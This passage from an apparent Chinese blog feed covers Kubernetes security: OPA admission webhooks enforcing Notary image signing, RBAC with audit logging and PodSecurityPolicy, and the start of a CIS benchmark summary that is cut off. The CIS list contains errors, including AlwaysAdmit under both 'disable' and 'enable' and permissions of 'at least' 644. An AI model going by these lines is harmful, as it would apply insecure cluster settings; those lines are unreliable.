&lt;p&gt;因此简单的检查一下，镜像是否用了 &lt;code&gt;@sha256&lt;/code&gt; 就可以了。否则我们会认为此次尝试部署的是一个用 Tag 标识的镜像。如果这一规则被触发，请求就会被阻拦，并得到返回的错误消息。&lt;/p&gt;

&lt;p&gt;接下来我们继续定义第二个规则，拒绝没有被 Notary 信任的摘要。&lt;/p&gt;

&lt;p&gt;在这个规则里，我们在 &lt;code&gt;get_checksum_status(image)&lt;/code&gt; 中用了 OPA 中集成的 &lt;code&gt;http.send&lt;/code&gt; 函数。首先会从请求中获取每个镜像的哈希，然后在 &lt;code&gt;get_checksum_status(image)&lt;/code&gt; 中发送镜像的 GUN 和摘要到 Notary Wrapper，Notary Wrapper 会检查每个镜像是否都已签名。如果请求返回的不是 200，那么部署动作会被制止。&lt;/p&gt;

&lt;p&gt;简单说 &lt;code&gt;http.send&lt;/code&gt; 函数在目标不可用时不会返回响应（可以参考 OPA 的一个&lt;a href=&#34;https://github.com/open-policy-agent/opa/issues/2187&#34; target=&#34;_blank&#34;&gt;功能申请&lt;/a&gt;）。在我们这里因为有了 Notary Wrapper，只要它正常工作，就不会遇到这个困扰。然而一旦 Notary Wrapper 不可用，OPA 也会故障，会被 &lt;code&gt;ValidatingWebhookConfiguration&lt;/code&gt; 中的 &lt;code&gt;failurePolicy: Fail&lt;/code&gt; 定义所捕获。&lt;/p&gt;

&lt;p&gt;上面描述的两条规则就足以在 Kubernetes 集群中完成对内容信任的控制了。&lt;/p&gt;

&lt;p&gt;要进行测试，只需要简单的部署一个新的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# trust-pinning-test
apiVersion: v1
kind: Pod
metadata:
  name: trust-pinning-test
  namespace: default
spec:
  containers:
  # trigger rule 1:
  - image: GUN/&amp;lt;hub-id&amp;gt;/nginx:1
  # trigger rule 2:
  # - image: GUN/&amp;lt;hub-id&amp;gt;/nginx@sha256:89cce606b29fb2xxxxx
  # valid deployment:
  # - image: GUN/&amp;lt;hub-id&amp;gt;/nginx@sha256:&amp;lt;your-signed-RepoDigest&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外在 &lt;code&gt;open-policy-agent/tests&lt;/code&gt; 中还包含了多个针对不同需求的过个测试。&lt;/p&gt;

&lt;p&gt;接下来的示意图展示了我们目前的工作成果：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/opa-image-verification.png&#34; alt=&#34;opa-image-verification&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每次部署都会发出 API 请求，随即开始校验过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;请求触发了校验 Webhook，发起对 OPA 的调用。&lt;/li&gt;
&lt;li&gt;OPA 会检查镜像的拉取方式，如果使用的是摘要方式，就会向 Notary Wrapper 请求信任数据。Notary Wrapper 则会从 Notary 服务器查询数据，并返回给 OPA，OPA 据此进行决策。如果没有触发规则，Kubernetes 会继续部署。&lt;/li&gt;
&lt;li&gt;根据哈希从镜像库拉取（本例中是 DockerHub）。&lt;/li&gt;
&lt;li&gt;部署 Pod。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;到此为止，我们已经成功的实现了内容信任机制。然而查询 &lt;code&gt;RepoDigests&lt;/code&gt; 是个很麻烦的事情。如果能基于 Tag 使用内容信任就两全其美了。&lt;/p&gt;

&lt;h2 id=&#34;定义-mutating-admission-control-完成自动化&#34;&gt;定义 Mutating Admission Control 完成自动化&lt;/h2&gt;

&lt;p&gt;Mutating Webhook 是用于在校验之前对请求内容进行变更的，我们接下来会编写这样一个功能。每次用户尝试部署一个带标签的镜像时，就启动 Webhook，自动将镜像引用改为哈希模式。大致工作流程如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/mutation-pod-deploy.png&#34; alt=&#34;mutation-pod-deploy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;API 请求流经 Webhook：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果请求中包含 Pod，操作类型是创建或者更新，并且镜像是用 Tag 标识的，就会触发 OPA 的 Mutating Webhook（在所有的验证之前）。&lt;/li&gt;
&lt;li&gt;OPA 会用 Tag 去检查镜像，接下来 OPA 会为每个标签发起新的 &lt;code&gt;http.send&lt;/code&gt; 请求到 Notary Wrapper，向 Notary 服务器发起查询。&lt;/li&gt;
&lt;li&gt;如果 Notary Wrapper 在 Notary 服务器上找到了对应这个标签的条目，就会返回最新的 &lt;code&gt;RepoDigest&lt;/code&gt; 给 OPA，否则报错。&lt;/li&gt;
&lt;li&gt;OPA 对 Deployment 进行修改，把镜像标签更换为哈希，并把变更后的请求内容发送给 API Server。&lt;/li&gt;
&lt;li&gt;API Server 继续完成创建或更新流程，校验 Webhook 会对请求进行检查，如果请求有效，就用 &lt;code&gt;RepoDigest&lt;/code&gt; 从可信的仓库拉取镜像，并完成部署。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;因为我们已经在安装过程中给 OPA 注册了 Mutating Webhook，我们只需要加入新的 Rego 规则就可以了。最简单的方式就是回到本地的 Helm 目录，启用 &lt;code&gt;mutating&lt;/code&gt;，然后执行 &lt;code&gt;helm upgrade&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# open-policy-agent/helm/opa/values.yml
...
validating: true
mutating: true
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# switch to namespace opa
helm upgrade --install opa opa
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;OPA 中的 Mutating Webhook 是 &lt;code&gt;main&lt;/code&gt; 方法的一部分，这个方法会在 API 请求时发起变更。&lt;code&gt;helm upgrade&lt;/code&gt; 会加入下面的新规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package policy.mutating

import data.k8s.matches

main = {
  &amp;quot;apiVersion&amp;quot;: &amp;quot;admission.k8s.io/v1&amp;quot;,
  &amp;quot;kind&amp;quot;: &amp;quot;AdmissionReview&amp;quot;,
  &amp;quot;response&amp;quot;: response,
}

default uid = &amp;quot;missing-uid&amp;quot;

uid = input.request.uid

# default allow without patch
response = r {
  count(patch) == 0
  r := {
    &amp;quot;uid&amp;quot;: uid,
    &amp;quot;allowed&amp;quot;: true,
  }
}

# response with patch
response = {
  &amp;quot;uid&amp;quot;: input.request.uid,
  &amp;quot;allowed&amp;quot;: true,
  &amp;quot;patchType&amp;quot;: &amp;quot;JSONPatch&amp;quot;,
  &amp;quot;patch&amp;quot;: patch_bytes,
} {
  count(patch) &amp;gt; 0
  patch_json = json.marshal(patch)
  patch_bytes = base64url.encode(patch_json)
}

# patch
default patch = []

patch = result {
  operations := {&amp;quot;CREATE&amp;quot;, &amp;quot;UPDATE&amp;quot;}
  kind := {&amp;quot;Pod&amp;quot;, &amp;quot;Deployment&amp;quot;}
  
  
  operations[input.request.operation]
  kind[input.request.kind.kind]

  # construct patch for each image in the container array that requires it.
  result := [p |
    image = get_images[_]
    not contains(image.name, &amp;quot;@sha256:&amp;quot;)

    parts := split_image(image.name)

    # format: registry/project@sha256:xxx
    patchedImage := concat(&amp;quot;&amp;quot;, [parts.gun, &amp;quot;@sha256:&amp;quot;, get_digest(image.name)])

    # cconstruct JSON Patch for the deployment.
    # kube-apiserver expects changes to be represented as
    # JSON Patch operation against the resource.
    # the JSON Patch must be JSON serialized and base64 encoded.
    p := {
      &amp;quot;op&amp;quot;: &amp;quot;replace&amp;quot;,
      &amp;quot;path&amp;quot;: get_path(image.index),
      &amp;quot;value&amp;quot;: patchedImage,
    }
  ]
}

# helper rules

# rule to compute images set
# the first line ensures that its matched to the right k8s resource
# the second line iterates over each container and extracts the image
get_images[x] {
  input.request.kind.kind == &amp;quot;Pod&amp;quot;
  name := input.request.object.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

get_images[x] {
  input.request.kind.kind == &amp;quot;Deployment&amp;quot;
  name := input.request.object.spec.template.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

# construct and returns json path for &amp;quot;Pods&amp;quot;
get_path(index) = path {
  input.request.kind.kind == &amp;quot;Pod&amp;quot;
  path := concat(&amp;quot;/&amp;quot;, [&amp;quot;&amp;quot;, &amp;quot;spec&amp;quot;, &amp;quot;containers&amp;quot;, format_int(index, 10), &amp;quot;image&amp;quot;])
}

# construct and returns json path for &amp;quot;Deployment&amp;quot;
get_path(index) = path {
  input.request.kind.kind == &amp;quot;Deployment&amp;quot;
  path := concat(&amp;quot;/&amp;quot;, [&amp;quot;&amp;quot;, &amp;quot;spec&amp;quot;, &amp;quot;template&amp;quot;, &amp;quot;spec&amp;quot;, &amp;quot;containers&amp;quot;, format_int(index, 10), &amp;quot;image&amp;quot;])
}

split_image(image) = x {
  parts := split(image, &amp;quot;:&amp;quot;)
  x := {
    &amp;quot;gun&amp;quot;: parts[0],
    &amp;quot;tag&amp;quot;: parts[1],
  }
}

# helper rule to retrieve the digest from notary using notary-wrapper
get_digest(image) = digest {
  wrapperRootCa := &amp;quot;/etc/certs/notary/root-ca.crt&amp;quot;
  notaryWrapperURL = &amp;quot;https://notary-wrapper-svc.opa.svc:4445/list&amp;quot;
  parts := split_image(image)
  body := {
    &amp;quot;GUN&amp;quot;: parts.gun,
    &amp;quot;Tag&amp;quot;: parts.tag,
    &amp;quot;notaryServer&amp;quot;: &amp;quot;notary-server-svc.notary.svc:4443&amp;quot;
  }

  headers_json := {&amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}
  output := http.send({&amp;quot;method&amp;quot;: &amp;quot;post&amp;quot;, &amp;quot;url&amp;quot;: notaryWrapperURL, &amp;quot;headers&amp;quot;: headers_json, &amp;quot;body&amp;quot;: body, &amp;quot;tls_ca_cert_file&amp;quot;: wrapperRootCa})
  digest := output.body.Digest
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;简单说一下这段代码的功能：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;OPA 会使用 &lt;code&gt;response&lt;/code&gt; 规则中的代码加入需要的响应。&lt;/li&gt;
&lt;li&gt;第一个 &lt;code&gt;response&lt;/code&gt; 针对的是无需变更的请求，允许任意的 API 请求通过。&lt;/li&gt;
&lt;li&gt;第二个 &lt;code&gt;response&lt;/code&gt; 会调用 &lt;code&gt;patch&lt;/code&gt; 规则。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;patch&lt;/code&gt; 规则会对任何面向 &lt;code&gt;Pod&lt;/code&gt; 或者 &lt;code&gt;Deployment&lt;/code&gt; 的 API 请求进行变更。结果参数首先会获取 API 请求中的镜像，检查是否每个镜像都是使用哈希进行拉取的（URL 中包含了 &lt;code&gt;@shar256:&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;如果不满足上一个条件，就会使用 &lt;code&gt;split_image&lt;/code&gt; 规则将镜像分为名称和标签两部分。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;split_image&lt;/code&gt; 返回的是一个数组，&lt;code&gt;get_digest&lt;/code&gt; 中使用这个数组调用 &lt;code&gt;http.send&lt;/code&gt; 函数通过 Notary Wrapper 向 Notary 请求哈希。如果 Notary 没有对应的哈希，会得到 404 的返回值。&lt;/li&gt;
&lt;li&gt;Kubernetes 中使用 &lt;code&gt;.json&lt;/code&gt; 格式的补丁。&lt;code&gt;.json&lt;/code&gt; 补丁（赋值给 &lt;code&gt;p&lt;/code&gt;）需要在 &lt;code&gt;path&lt;/code&gt; 参数中指定的路径上执行 &lt;code&gt;replace&lt;/code&gt; 操作，从而替换原有的拉取方式。在 Pod 和 Deployment 中，镜像字段的路径是不同的，我们需要创建两个 &lt;code&gt;get_digest&lt;/code&gt; 和  &lt;code&gt;get_path&lt;/code&gt; 来应对两种情况。&lt;/li&gt;
&lt;li&gt;OPA 会对补丁进行编码，并返回变更后的 API 请求给 API Server，继续后续操作。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果想要测试这个 Webhook，可以看看 &lt;code&gt;open-policy-agent/tests&lt;/code&gt;，如果保存了前面的校验 Webhook，可以测试一下有效和无效的 Tag 或者哈希。下表总结了 Webhook 的响应情况：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/table.png&#34; alt=&#34;table&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;总结和展望&#34;&gt;总结和展望&lt;/h2&gt;

&lt;p&gt;最终，我们成功地在 Kubernetes 集群上，无需改动部署习惯的情况下，实现了内容信任机制，除了这个，OPA 还能做很多其它的校验工作。&lt;/p&gt;

&lt;p&gt;我们知道这篇文章很长，但是我希望尽可能多地为读者提供更多细节。我们认为，虽然有很多的容器扫描和加固方面的技术，镜像签署和信任是目前容器安全方面的最大盲区之一。&lt;/p&gt;

&lt;p&gt;下一步需要做点什么呢？还有很多细节我们没能说明：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能&lt;/strong&gt;：校验和变更过程的性能测试。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生产就绪&lt;/strong&gt;：提供高可用的 Notary 部署，并把客户端（包括 Docker 客户端）做到硬件安全模块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI-CD 集成&lt;/strong&gt;：在 CI/CD 中自动化地进行签名。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;感谢阅读全文，希望对你有所助益。这里尤其要感谢来自 OPA/Styra 的 Asad、Torin 以及 Jeff，对我们编写的规则作出很多支持。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Github 仓库：&lt;code&gt;https://github.com/k8s-gadgets/k8s-content-trust&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;TUF 项目：&lt;code&gt;https://theupdateframework.github.io/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Notary 数据库：&lt;code&gt;https://docs.docker.com/notary/service_architecture/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Notary 架构：&lt;code&gt;https://docs.docker.com/notary/service_architecture/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Notary 客户端：&lt;code&gt;https://github.com/theupdateframework/notary/releases&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 关于内容信任的讨论：&lt;code&gt;https://github.com/kubernetes/kubernetes/issues/30603#issuecomment-430889781&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 的授权和审计</title>
      <link>/post/rbac-psp-ops/</link>
      <pubDate>Sun, 24 May 2020 22:51:33 +0800</pubDate>
      <guid>/post/rbac-psp-ops/</guid>
      <description>

&lt;p&gt;Kubernetes 中的账号和认证，除了基础的双向证书认证之外，还有 OIDC 等方式的第三方集成能力，这里暂且不提。这里主要想谈谈授权和审计方面的内容。&lt;/p&gt;

&lt;p&gt;很多 Kubernetes 集群，都是一个 cluster-admin 走天下的，这和 Linux 里面只使用一个 root 账号一样，因此要完成授权和审计任务，首先需要创建的东西就是一个新用户。&lt;/p&gt;

&lt;p&gt;在使用本地证书进行用户管理的情况下，创建新用户通常有这样几种方法：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建一个新的 ServiceAccount，使用 SA 的 Token 进行认证。&lt;/li&gt;
&lt;li&gt;使用 Kubernetes 所使用的 CA，签发新的客户端证书。&lt;/li&gt;
&lt;li&gt;创建 CSR，提交到 Kubernetes 上，通过后，获取客户端证书。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;上面几个方法，完成后生成 kubeconfig 文件，并使用 RBAC &lt;strong&gt;为新用户进行最小化授权&lt;/strong&gt;，就可以用这些新用户的身份来完成“普通”用户的操作了。&lt;/p&gt;

&lt;h2 id=&#34;在-kubeadm-中启用审计&#34;&gt;在 Kubeadm 中启用审计&lt;/h2&gt;

&lt;p&gt;Kubeadm 的配置文件中加入如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiServer:
  extraArgs:
    audit-log-path: /var/log/k8s/audit.log
    audit-policy-file: /etc/kubernetes/audit.yaml
    audit-log-maxage: &amp;quot;1&amp;quot;
    audit-log-maxsize: &amp;quot;100&amp;quot;
    audit-log-maxbackup: &amp;quot;1&amp;quot;
  extraVolumes:
  - name: audit-config
    hostPath: /etc/k8s/audit.yaml
    mountPath: /etc/kubernetes/audit.yaml
    readOnly: true
    pathType: File
  - name: audit-log
    hostPath: /var/log/k8s
    mountPath: /var/log/k8s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个文件中指定了两个加载卷，分别用于存储配置文件和审计日志。API Server 会据此进行审计配置并输出日志。官方提供了审计策略的配置样例：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: audit.k8s.io/v1 # This is required.
kind: Policy
# Don&#39;t generate audit events for all requests in RequestReceived stage.
omitStages:
  - &amp;quot;RequestReceived&amp;quot;
rules:
  - level: None
    verbs: [&amp;quot;get&amp;quot;, &amp;quot;list&amp;quot;, &amp;quot;watch&amp;quot;]
  # Log pod changes at RequestResponse level
  - level: RequestResponse
    resources:
    - group: &amp;quot;&amp;quot;
      # Resource &amp;quot;pods&amp;quot; doesn&#39;t match requests to any subresource of pods,
      # which is consistent with the RBAC policy.
      resources: [&amp;quot;pods&amp;quot;]
  # Log &amp;quot;pods/log&amp;quot;, &amp;quot;pods/status&amp;quot; at Metadata level
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了 RBAC + 审计，结合专人专用的操作账户，我们就能够对用户在集群上的操作有个初步的了解，例如如下记录：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;...
  &amp;quot;requestURI&amp;quot;: &amp;quot;/apis/apps/v1/namespaces/default/deployments&amp;quot;,
  &amp;quot;verb&amp;quot;: &amp;quot;create&amp;quot;,
  &amp;quot;user&amp;quot;: {
    &amp;quot;username&amp;quot;: &amp;quot;commonuser&amp;quot;,
    &amp;quot;groups&amp;quot;: [
      &amp;quot;dev&amp;quot;,
      &amp;quot;system:authenticated&amp;quot;
    ]
  }
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;就代表用户 &lt;code&gt;commonuser&lt;/code&gt; 新建了一个 Deployment。审计信息中还包括了事件发生的时间、IP、当时的 RBAC 角色等。&lt;/p&gt;

&lt;p&gt;把审计日志汇总到 Elasticsearch 或者 Loki 之中，就能够获得集群范围内的所有我们关注的记录的操作了。&lt;/p&gt;

&lt;h2 id=&#34;为-kubeadm-集群启动-psp&#34;&gt;为 Kubeadm 集群启动 PSP&lt;/h2&gt;

&lt;p&gt;RBAC 决定一个用户能够操作什么资源（例如 Pod、Deployment、Service、SA 等），能够如何操作（例如创建、删除），而 PSP 则确定了 Pod 自身所能完成的任务：例如加载主机卷、使用 sysctl 等。&lt;/p&gt;

&lt;p&gt;启动 PSP 是个相对来说较危险的操作。首先要做的就是获取现在运行之中的应用所使用的策略，并将策略涉及的权限和当前使用的 ServiceAccount 对应起来，简单说来步骤如下：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;遍历运行中的 Pod，获取其中的特权情况，以及当前使用的 ServiceAccount。&lt;/li&gt;
&lt;li&gt;根据特权情况编写 &lt;code&gt;PodSecurityPolicy&lt;/code&gt; 策略。&lt;/li&gt;
&lt;li&gt;为策略设置 &lt;code&gt;Role&lt;/code&gt; 或者 &lt;code&gt;ClusterRole&lt;/code&gt;，绑定到 ServiceAccount。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Krew 有个 psp-advice 插件，能完成上面的前两个步骤——形成单一的 PSP 对象，相对来说有些粗放。例如使用这个插件在一个启动了 Calico 的 Kubeadm 集群上生成的 PSP（&lt;code&gt;kubectl advise-psp inspect&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  creationTimestamp: null
spec:
  allowedHostPaths:
  - pathPrefix: /lib/modules
    readOnly: true
  - pathPrefix: /var/lib/calico
    readOnly: true
  - pathPrefix: /opt/cni/bin
    readOnly: true
  - pathPrefix: /var/run/nodeagent
    readOnly: true
  - pathPrefix: /var/lib/cni/networks
    readOnly: true
  - pathPrefix: /usr/libexec/kubernetes/kubelet-plugins/volume/exec/nodeagent~uds
    readOnly: true
  - pathPrefix: /run/xtables.lock
    readOnly: true
  - pathPrefix: /etc/cni/net.d
    readOnly: true
  - pathPrefix: /var/run/calico
    readOnly: true
  fsGroup:
    rule: RunAsAny
  hostNetwork: true
  hostPorts:
  hostPorts:
  - max: 0
    min: 0
  privileged: true
  runAsUser:
    rule: RunAsAny
  seLinux:
    rule: RunAsAny
  supplementalGroups:
    rule: RunAsAny
  volumes:
  - hostPath
  - secret
  - configMap
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们可以简单的为这个 PSP 生成一个 Role，并绑定到当前运行的 SA 上：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: kube-system-psp
  namespace: kube-system
rules:
- apiGroups:
  - extensions
  resourceNames:
  - kube-system
  resources:
  - podsecuritypolicies
  verbs:
  - use
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: kube-system-psp
  namespace: kube-system
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: Role
  name: kube-system-psp
subjects:
- kind: ServiceAccount
  name: default
  namespace: kube-system
- kind: ServiceAccount
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;完成所有步骤之后，在 API Server 的 &lt;code&gt;--enable-admission-plugins&lt;/code&gt; 参数里面加入 &lt;code&gt;PodSecurityPolicy&lt;/code&gt;，重新启动服务即可。&lt;/p&gt;

&lt;p&gt;接下来就可以使用 PSP 为各个不同的 SA、用户创建角色，确定各种情况下创建 Pod 的安全策略，例如绝大多数业务 Pod 是无需使用特权模式、HostNetwork 的。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;各司其职是个基础，在 RBAC/PSP 支持下，能够比较容易的针对用户、ServiceAccount、Namespace 进行细粒度的权限控制，例如对各种资源的操作权限、对 Pod 的日志、Exec 等操作、以及 Pod 自身的卷加载、特权申请等都可以进行控制，并且还可以通过审计功能进行事后追溯。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>简介：CIS Kubernetes 安全基准指南</title>
      <link>/post/cis-benchmark-brief/</link>
      <pubDate>Sat, 22 Feb 2020 21:24:06 +0800</pubDate>
      <guid>/post/cis-benchmark-brief/</guid>
      <description>

&lt;p&gt;在使用 &lt;a href=&#34;https://github.com/aquasecurity/kube-bench&#34; target=&#34;_blank&#34;&gt;Kube Bench&lt;/a&gt; 的过程中注意到，其指导依据来自于 &lt;a href=&#34;https://www.cisecurity.org/benchmark/kubernetes/&#34; target=&#34;_blank&#34;&gt;CIS Benchmark&lt;/a&gt;，于是顺藤摸瓜，下载了 CIS Kubernetews Be nchmark 的 PDF 版本，全文有两百多页，阅读量还蛮大的，因此对其进行整理，便于大家参考使用。&lt;/p&gt;

&lt;h2 id=&#34;简介&#34;&gt;简介&lt;/h2&gt;

&lt;p&gt;CIS 的指导原则里把建议行为分成了两级：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;一级：使用该建议不会造成负面影响。&lt;/li&gt;
&lt;li&gt;二级：仅建议在非常强调安全性的系统中使用，可能对系统有副作用。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外还将具体的检测结果分为计分和不计分两种结果。&lt;/p&gt;

&lt;p&gt;以上两个维度可以用来对系统进行现状评估，也有助于读者选择性地采纳加固措施。&lt;/p&gt;

&lt;p&gt;整个指南分为五个部分：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;控制平面组件&lt;/li&gt;
&lt;li&gt;etcd&lt;/li&gt;
&lt;li&gt;控制平面配置&lt;/li&gt;
&lt;li&gt;节点配置&lt;/li&gt;
&lt;li&gt;策略&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;检查项概要&#34;&gt;检查项概要&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;所有运行参数文件、kubeconfig 文件以及证书，权限至少应为 &lt;code&gt;644&lt;/code&gt; 并且属于 &lt;code&gt;root:root&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;API Server&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;南向和北向通信

&lt;ul&gt;
&lt;li&gt;关闭匿名访问&lt;/li&gt;
&lt;li&gt;禁止明文通信&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;认证

&lt;ul&gt;
&lt;li&gt;启用 Node,RBAC 认证&lt;/li&gt;
&lt;li&gt;禁用 Token 和 Basic 认证&lt;/li&gt;
&lt;li&gt;禁用 Alwaysallow&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Admission Control

&lt;ul&gt;
&lt;li&gt;禁用：AlwaysAdmit&lt;/li&gt;
&lt;li&gt;启用：AlwaysPullImages、AlwaysAdmit、EventRateLimit、ServiceAccount、NamespaceLifecycle、PodSecurityPolicy、NodeRestriction&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;关闭 &lt;code&gt;profiling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用审计日志&lt;/li&gt;
&lt;li&gt;启用请求超时&lt;/li&gt;
&lt;li&gt;启用 &lt;code&gt;--service-account-lookup&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--tls-cipher-suites&lt;/code&gt; 仅使用新的、强加密算法&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;oidc&lt;/code&gt; 等模式来代替客户端证书认证。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Controller Manager&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;关闭 &lt;code&gt;profiling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;开启 &lt;code&gt;--use-service-account-credentials&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;绑定 &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;启用 &lt;code&gt;--service-account-private-key-file&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--feature-gates&lt;/code&gt; 启用 &lt;code&gt;RotateKubeletServerCertificate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Scheduler&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;关闭 &lt;code&gt;profiling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;绑定 &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;ETCD&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;启用节点间和客户端的双向认证&lt;/li&gt;
&lt;li&gt;设置数据文件权限&lt;/li&gt;
&lt;li&gt;禁用 &lt;code&gt;--auto-tls&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;使用独立的 CA 证书&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;工作节点&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kubelet、Kube-proxy 的服务和配置文件权限&lt;/li&gt;
&lt;li&gt;关闭匿名访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--authorization-mode&lt;/code&gt;  禁用 &lt;code&gt;AlwaysAllow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;kubelet 参数 &lt;code&gt;--read-only-port&lt;/code&gt; 为 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--streaming-connection-idle-timeout&lt;/code&gt; 不应设置为 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--protect-kernel-defaults&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--make-iptables-util-chains&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;不要设置 &lt;code&gt;--hostname-override&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;HTTPS 访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--rotate-certificates&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--event-qps&lt;/code&gt; 设置足够高，或者为 &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--feature-gates&lt;/code&gt; 启用 &lt;code&gt;RotateKubeletServerCertificate&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;RBAC 和 ServiceAccount&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;仅在需要时才使用 &lt;code&gt;cluster-admin&lt;/code&gt; 角色&lt;/li&gt;
&lt;li&gt;限制对 &lt;code&gt;secret&lt;/code&gt; 的访问&lt;/li&gt;
&lt;li&gt;限制使用通配符&lt;/li&gt;
&lt;li&gt;限制分配 Pod 创建权限&lt;/li&gt;
&lt;li&gt;仅在需要时才加载 Token，缺省将 automountServic eAccountToken 为 &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
